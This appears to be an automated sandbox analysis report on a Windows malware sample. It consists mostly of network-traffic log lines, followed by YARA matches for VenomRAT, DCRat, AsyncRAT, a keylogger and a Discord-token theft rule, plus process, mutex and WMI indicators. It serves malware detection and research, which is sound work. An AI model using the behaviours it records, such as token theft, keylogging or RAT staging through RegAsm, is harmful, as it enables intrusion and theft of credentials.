Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:50026 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Keylogger Generic

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected VenomRAT

Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000F.00000002.1732020554.000001D212473000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000F.00000002.1732020554.000001D212793000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000013.00000002.2385864712.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.win@38/94@74/423

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6648:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\FkwbxYcgg1G0FnF/TAjQzi9jUa9qcKKioTum8hnjwFlv/+1VfkEHx8BfkllXkWd9Y+CD9XIOkxhhblHpQPtD1w==

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2hrkgsls.qy1.ps1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
